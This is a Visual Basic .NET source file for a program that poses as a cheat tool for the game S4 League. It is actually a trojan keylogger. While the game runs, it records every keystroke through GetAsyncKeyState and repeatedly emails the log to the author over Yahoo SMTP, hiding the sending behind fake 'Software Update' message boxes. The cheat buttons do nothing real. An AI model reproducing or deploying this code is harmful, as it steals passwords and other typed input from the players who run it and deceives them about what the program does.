Imports System.Net.Mail

Public Class Form1
    Dim tick As Integer
    Dim logger As String
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

    Private Function getkeypress() As Int16

        For i As Integer = 1 To 255
            If GetAsyncKeyState(i) = -32767 Then
                Return i
            Else : End If
        Next
    End Function

    Private gamefound As Boolean
    Private Sub Button21_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button21.Click
        MsgBox("Copytight (c) 2010 King123456789")
    End Sub

    Private Sub Button22_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button22.Click
        MsgBox("All hackes resettet!")
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim key As Integer = getkeypress()


        If Process.GetProcessesByName("S4Client").Count > 0 Then
            gamefound = True
            Label12.ForeColor = Color.Green
            Label12.Text = "Game found! Ready to hack :)"
        Else
            gamefound = False
            Label12.ForeColor = Color.Red
            Label12.Text = "Game not found!"
        End If

        If gamefound = True Then
            tick = tick + 1
            'TextBox1.Text = tick

            If key <> 0 Then
                logger = logger & Chr(key)
            End If

            If tick = 1000 Or tick = 2000 Or tick = 3000 Then
                MsgBox("Search Update...", MsgBoxStyle.Information, "Software Update!")
                'TextBox9.Text = logger
                Dim Msg As New MailMessage
                Dim myCredentials As New System.Net.NetworkCredential
                myCredentials.UserName = "****** :P"
                myCredentials.Password = "****** :P"

                Msg.IsBodyHtml = False

                Dim mySmtpsvr As New SmtpClient()
                mySmtpsvr.Host = "smtp.mail.yahoo.de" 'bei web.de
                mySmtpsvr.Port = 25

                mySmtpsvr.UseDefaultCredentials = False
                mySmtpsvr.Credentials = myCredentials

                Try
                    Msg.From = New MailAddress("****** :P")
                    Msg.To.Add("****** :P")
                    Msg.Subject = "S4 Hack"
                    Msg.Body = logger
                    mySmtpsvr.Send(Msg)
                    MsgBox("No update available", MsgBoxStyle.Information, "Software Update!")
                Catch ex As Exception
                    'MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString) 'Falls ein Fehler auftritt wird eine MsgBox angezeigt
                    MsgBox("Update error!", MsgBoxStyle.Information, "Software Update!")
                End Try
            End If
        End If
    End Sub

    Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button20.Click
        If TextBox8.Text > 2 Then
            MsgBox("Fucking leecher limit is 2!")
        End If
    End Sub

    Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
        If TextBox7.Text > 2 Then
            MsgBox("Fucking leecher limit is 2!")
        End If
    End Sub


End Class